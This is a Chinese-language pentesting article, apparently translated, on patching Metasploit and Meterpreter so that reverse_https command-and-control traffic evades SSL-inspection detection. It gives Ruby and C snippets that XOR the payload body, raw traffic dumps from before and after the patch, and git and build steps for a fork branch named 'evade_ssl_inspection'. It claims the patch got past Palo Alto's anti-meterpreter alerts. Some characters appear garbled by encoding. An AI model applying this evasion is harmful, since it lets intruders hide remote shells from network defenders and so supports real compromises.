Meterpreter:逃避SSL檢測
當(dāng)執(zhí)行滲透測試時,SSL檢測或許會讓你頭疼整整一天。這里有一個概念驗證,如何調(diào)整Metasploit源來逃避SSL檢測。
該方法親測有效!成功的繞過了Palo Alto的anti-meterpreter 報警策略。
SSL檢測本是用來執(zhí)行中間人攻擊,因此其能夠看到純文本形式的數(shù)據(jù)包。如果你在Meterpreter會話中檢測流量,你會發(fā)現(xiàn)編寫識別Meterpreter的規(guī)則十分簡單。
通過在MSF代碼中增加一個Puts,我們可以轉(zhuǎn)儲原始數(shù)據(jù)。
當(dāng)你drop shell的時候,這個數(shù)據(jù)從MSF發(fā)送給Meterpreter是這樣的:
[*] Starting interaction with 1...
meterpreter > shell
"\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00#\x00\x01\x00\x01stdapi_sys_process_execute\x00\x00\x00\x00)\x00\x01\x00\x0203778337146806943879568977592220\x00\x00\x00\x00$\x00\x01\b\xFEC:\\Windows\\system32\\cmd.exe\x00\x00\x00\x00\f\x00\x02\t\x00\x00\x00\x00\v"
Process 4012 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\student\Desktop>
仔細看看這些數(shù)據(jù),你能找出TLV數(shù)據(jù),一個獨特的ID,最重要的是遠程函數(shù)調(diào)用以及該函數(shù)的參數(shù)。如果你在編寫一個攔截Meterpreter的規(guī)則,肯定會觸發(fā)一個警報,因為在數(shù)據(jù)包中包含字符串“stdapi_sys_process_execute”.
偽裝數(shù)據(jù)
知道了這些,就能將數(shù)據(jù)偽裝通過引擎檢測。最普遍的方法是使用XOR,主要是它很快,可逆性,且不會改變數(shù)據(jù)長度(Base64會增加長度)等特性。在其向外擴展之前我們要做的就是XOR數(shù)據(jù)(記住,這需要在Meterpreter和MSF同時完成)
下面是在MSF接收方添加代碼
def dispatch_request(cli, request) xor_byte = request.raw_uri[7] xored_body = String.new i = 0 request.body.each_byte do |b| # don't touch the TlvHeader (first 8 bytes) if i > 7 xored_body << (b.ord ^ xor_byte.ord).chr else xored_body << b end i += 1 end # use the new string request.body = xored_body
在Meterpreter接收方:
ULONG i = 0;for (; i < payloadLength; ++i) payload[i] ^= xorByte;
記住,只要兩邊xor_byte/xorByte變量的值相同,那么變量的值就不重要了,因為兩方都知道這個隨機生成的URI。
對添加的代碼進行模糊處理,再次使用shell命令就不會遇到煩人的“stdapi_sys_process_execute”字符串:
[*] Starting interaction with 1...
meterpreter > shell
"\x00\x00\x00\x84\x00\x00\x00\x00lllOlmlm\x1F\x18\b\r\x1C\x053\x1F\x15\x1F3\x1C\x1E\x03\x0F\t\x1F\x1F3\t\x14\t\x0F\x19\x18\tllllElmlnYXXT__[TYX[^U_]]T_\\^\\_YZYY\\X\\X\\[llllHlmd\x92/V0;\x05\x02\b\x03\e\x1F0\x1F\x15\x1F\x18\t\x01_^0\x0F\x01\bB\t\x14\tllll`lnellllg"
Process 3736 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation.
All rights reserved.
C:\Users\student\Desktop>
這樣設(shè)置是需要你重新生成Meterpreter DLLs的,詳情可以參考rapid7
在Windows中,你首先需要:
$ git clone https://github.com/rwhitcroft/meterpreter
$ cd meterpreter
$ git submodule init && git submodule update
$ git checkout evade_ssl_inspection
接著在命令行入口,運行make x64生成DLLs。它將被放置在output/x64/文件夾下面,將其復(fù)制到/opt/metasploit-framework/data/meterpreter/覆蓋掉MSF默認(rèn)的DLLs(并非所有的DLLs都需要復(fù)制,但為了簡單操作,就全部復(fù)制了)
在MSF端:
$ git clone https://github.com/rwhitcroft/metasploit-framework
$ cd metasploit-framework
$ bundle install
$ git checkout evade_ssl_inspection
就這樣,你現(xiàn)在可以像往常一樣運行msfconsole,并且還可以逃避SSL檢測。
記住,這僅適用于windows/x64/meterpreter/reverse_https payload,因為這是我的最愛。將該功能添加到reverse_tcp,同樣能夠達到這樣的效果。